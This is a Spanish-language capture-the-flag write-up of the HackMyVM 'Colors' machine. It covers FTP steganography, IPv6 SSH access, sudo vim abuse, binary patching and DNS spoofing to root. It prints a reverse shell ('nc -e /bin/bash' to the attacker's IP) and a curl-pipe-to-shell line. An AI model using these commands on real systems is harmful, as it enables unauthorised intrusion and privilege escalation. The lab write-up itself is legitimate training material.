HackMyVM - Colors

logo

  • IPv6
  • sudo abuse
  • Reversing
  • DNS Spoofing

Escaneo de puertos

❯ nmap -p- -T5 -v -n --open 10.10.1.49

PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http

Escaneo de servicios

nmap -sVC -p 21,80 10.10.1.49

PORT   STATE SERVICE VERSION
/tcp open  ftp     vsftpd 3.0.3
ftp-syst: 
  STAT: 
FTP server status:
     Connected to ::ffff:10.10.1.40
     Logged in as ftp
     TYPE: ASCII
     No session bandwidth limit
     Session timeout in seconds is 300
     Control connection is plain text
     Data connections will be plain text
     At session startup, client count was 6
     vsFTPd 3.0.3 - secure, fast, stable
End of status
ftp-anon: Anonymous FTP login allowed (FTP code 230)
-rw-r--r--    1 1127     1127            0 Jan 27 22:45 first
-rw-r--r--    1 1039     1039            0 Jan 27 22:45 second
-rw-r--r--    1 0        0          290187 Feb 11 16:35 secret.jpg
-rw-r--r--    1 1081     1081            0 Jan 27 22:45 third
/tcp open  http    Apache httpd 2.4.54 ((Debian))
http-title: Document
http-server-header: Apache/2.4.54 (Debian)
Service Info: OS: Unix

Me conecto al FTP y descargo secret.jpg.

❯ ftp 10.10.1.49
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Feb 20 15:59 .
drwxr-xr-x    2 0        0            4096 Feb 20 15:59 ..
-rw-r--r--    1 1127     1127            0 Jan 27 22:45 first
-rw-r--r--    1 1039     1039            0 Jan 27 22:45 second
-rw-r--r--    1 0        0          290187 Feb 11 16:35 secret.jpg
-rw-r--r--    1 1081     1081            0 Jan 27 22:45 third
ftp> get secret.txt

Uso la herramienta steegseek y encuentro un archivo de texto con el nombre secret.txt.

❯ stegseek secret.jpg                
[i] Found passphrase: "Nevermind"
[i] Original filename: "more_secret.txt".
[i] Extracting to "secret.jpg.out".

Contenido archivo secret.jpg.out.

<-MnkFEo!SARTV#+D,Y4D'3_7G9D0LFWbmBCht5'AKYi.Eb-A(Bld^%E,TH.FCeu*@X0)<BOr<.BPD?sF!,R<@<<W;Dfm15Bk2*/F<G+4+EV:*DBND6+EV:.+E)./F!,aHFWb4/A0>E$/g+)2+EV:;Dg*=BAnE0-BOr;qDg-#3DImlA+B)]_C`m/1@<iu-Ec5e;FD,5.F(&Zl+D>2(@W-9>+@BRZ@q[!,BOr<.Ea`Ki+EqO;A9/l-DBO4CF`JUG@;0P!/g*T-E,9H5AM,)nEb/Zr/g*PrF(9-3ATBC1E+s3*3`'O.CG^*/BkJ\:

Está codificado en base85, una vez decodificado obtengo en siguiente mensaje y unas credenciales al final.

Twenty years from now you will be more disappointed by the things that you didn't do than by the ones you did do. So throw off the bowlines. Sail away from the safe harbor. Catch the trade winds in your sails. Explore. Dream. Discover.pink:Pink4sPig$$.

Me conecto al FTP de nuevo con el usuario pink.

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwx------    2 1127     1127         4096 Feb 11 19:55 green
drwx------    3 1000     1000         4096 Feb 11 19:18 pink
drwx------    2 1081     1081         4096 Feb 20 16:07 purple
drwx------    2 1039     1039         4096 Feb 11 19:56 red

Entro en la carpeta pink por que en las demás carpetas no tenemos permiso.

drwx------    3 1000     1000         4096 Feb 11 19:18 .
drwxr-xr-x    6 0        0            4096 Jan 27 22:44 ..
lrwxrwxrwx    1 1000     1000            9 Jan 27 20:30 .bash_history -> /dev/null
-rwx------    1 1000     1000          220 Jan 27 20:22 .bash_logout
-rwx------    1 1000     1000         3526 Jan 27 20:22 .bashrc
-rwx------    1 1000     1000          807 Jan 27 20:22 .profile
drwx------    2 1000     1000         4096 Feb 11 19:55 .ssh
-rwx------    1 1000     1000         3705 Feb 11 19:18 .viminfo
-rw-r--r--    1 1000     1000           23 Feb 11 16:59 note.txt

Me llama la atención la carpeta.ssh porque en el reconocimiento de puertos no me detectó el puerto 22. Así que vuelvo a escanear los puertos sin la flag --open.

❯ nmap -p- -T5 -v -n 10.10.1.49

PORT   STATE    SERVICE
21/tcp open     ftp
22/tcp filtered ssh
80/tcp open     http

Encuentra el puerto 22 filtrado, está filtrado para IPv4 lo podemos abrir mediante la técnica de Port Knocking pero en este writeup accederé al sistema por IPv6. Hago un barrido con ping6 en busca de direcciones IPv6 y encuentro la siguiente dirección:

❯ ping6 -c2 -n -I enp0s3 ff02::1
64 bytes from fe80::a00:27ff:fe06:f767%enp0s3: icmp_seq=1 ttl=64 time=0.607 ms

Antes de conectarme por ssh, he creado un archivo authorized_keys, dentro del archivo he copiado mi id_rsa.pub de mi máquina y luego lo he subido a la carpeta .ssh del usuario pink a través del servidor ftp Me conecto al sistema a través del servicio SSH.

ssh -6 pink@fe80::a00:27ff:fe06:f767%enp0s3
pink@color:~$ id
uid=1000(pink) gid=1000(pink) groups=1000(pink),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth)

Leyendo el archivo .viminfo observo que ha habido movimiento en la ruta /var/www/html me desplazo a ella observo que puedo crear archivos, creo un archivo php malicioso para obtener una shell. Descargar shell

Uso curl para mandar una petición a la shell que he subido anteriormente.

❯ curl -s 10.10.1.49/noname.php

Obtengo una shell como usuario www-data.

❯ nc -lvp 1337
listening on [any] 1337 ...
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
pink     pts/0    fe80::a999:aaa9: 15:55   45.00s  0.03s  0.03s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Después de hacer un tratamiento para la tty lanzo un sudo -l.

www-data@color:/home$ sudo -l
User www-data may run the following commands on color:
    (green) NOPASSWD: /usr/bin/vim

Para pivotar del usuario www-data al usuario green he usado el recurso gtfobins:

sudo -u green vim -c ':!/bin/bash'

Como usuario green lanzo de nuevo un ls y luego un cat al fichero note.txt.

green@color:~$ ls -la
total 44
drwx------ 2 green green  4096 Feb 11 19:55 .
drwxr-xr-x 6 root  root   4096 Jan 27 22:44 ..
lrwxrwxrwx 1 root  root      9 Feb 11 19:55 .bash_history -> /dev/null
-rwx------ 1 green green   220 Jan 27 22:44 .bash_logout
-rwx------ 1 green green  3526 Jan 27 22:44 .bashrc
-rwx------ 1 green green   807 Jan 27 22:44 .profile
-rw-r--r-- 1 root  root    145 Feb 11 16:42 note.txt
-rwxr-xr-x 1 root  root  16928 Feb 11 19:29 test_4_green
                
green@color:~$ cat note.txt 
You've been working very well lately Green, so I'm going to give you one ltest. If you pass it I'll give you the password for purple.
                
-root

Lanzo test_4_all para ver de que se trata.

green@color:~$ ./test_4_green
Guess the number im thinking: 1337
Nope, sorry

Tenemos que adivinar el número para que nos de la contraseña de purple, para ello usaré radare para analizar el binario y parchear la zona donde nos pide que introduzcamos un número para que al poner cualquier número lo acepte como válido y nos muestre la contraseña para purple.

Abro el binario con permisos de escritura.

❯ r2 -w ./test_4_green

Pulso V y depués enter.

img

Nos muestra lo siguiente.

img

Pulso p y después enter.

img

Se puede observar que hay unas cadenas de texto entendibles para humanos.

img

img

Con las flechas “arriba y abajo” nos movemos hasta la dirección 0x00001257 es importante que la dirección 0x00001257 esté marcada en amarillo como se ve en la imagen en el “recuadro” amarillo.

img

Pulso shift+a y escribo je 0x12cb.

img

Pulso enter, guardo cambios con Y.

img

Para salir del programa: q, q, enter. Lanzo ./test_4_all y le pongo cualquier número.

❯ ./test_4_green
Guess the number im thinking: 12
Correct!! Here is the pass:
p************

Archivo for_purple_only.

purple@color:~$ cat for_purple_only.txt 
As the highest level user I allow you to use the supreme ddos attack script.

El usuario purple puede ejecutar /attack/ddos.sh como root.

purple@color:~$ sudo -l
Matching Defaults entries for purple on color:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
            
User purple may run the following commands on color:
    (root) NOPASSWD: /attack_dir/ddos.sh

El archivo ddos.sh hace una petición con curl al dominio masterddos.hmv y luego lanza attack.sh.

 #!/bin/bash
/usr/bin/curl http://masterddos.hmv/attack.sh | /usr/bin/sh -p

r00t

Mediante la técnica DNS Spoofing simularé ser el dominio masterddos.hmv para que el archivo ddos.sh funcione correctamente y nos devuelva una shell. Con ettercap se puede hacer DNS Spoofing y hay mucha información de como se configura para realizar el ataque con lo cual me saltaré estos pasos.

En la máquina atacante, creo el archivo attack.sh en /var/www/html y le pongo un netcat apuntando a mi dirección ip.

#!/bin/bash
nc -e /bin/bash 10.10.1.40 4444

Levanto el servicio apache, dejo un listener con el puerto 4444 a la escucha, inicio el DNS Spoofing con ettercap y finalmente lanzo el script ddos.sh.

img

Obtengo la shell.

❯ nc -lvp 4444
listening on [any] 4444 ...
10.10.1.49: inverse host lookup failed: Unknown host
connect to [10.10.1.40] from (UNKNOWN) [10.10.1.49] 33018
id
uid=0(root) gid=0(root) groups=0(root)

Flag de root.

root@color:~# cat root.txt

I hope you liked it :)
    Here, some chocolate and the flag:
    (:go_****_****_*********:)
    
     ___  ___  ___  ___  ___.---------------.
      .'\__\'\__\'\__\'\__\'\__,`   .  ____ ___ \
      |\/ __\/ __\/ __\/ __\/ _:\   |:.  \  \___ \
       \\'\__\'\__\'\__\'\__\'\_`.__|  `. \  \___ \
        \\/ __\/ __\/ __\/ __\/ __:                \
         \\'\__\'\__\'\__\ \__\'\_;-----------------`
          \\/   \/   \/   \/   \/ :                 |
           \|______________________;________________|

Y aquí termina Colors la primera y maravillosa máquina del sr Pablo.